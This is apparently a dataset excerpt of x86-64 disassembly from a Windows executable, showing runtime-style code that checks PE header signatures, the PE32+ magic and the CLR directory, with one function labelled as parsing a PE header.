test r8d, r8d
jne 0x14000faf3
xor ecx, ecx
push rdx
call 0x143579461
test rax, rax
je 0x14000faf3
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000faf3
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000faf3
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000faf3
cmp dword [rcx + 0x84], 0xe
jbe 0x14000faf3
cmp dword [rcx + 0xf8], 0
je 0x14000faf3
mov ecx, ebx
call fcn.14000fba4
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000f980
nop
cmp dword [rbp + 0x20], 0
je 0x14000fb41
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000fb4c
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000fa84

Function at 0x14001f520
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001f548
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001f548
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret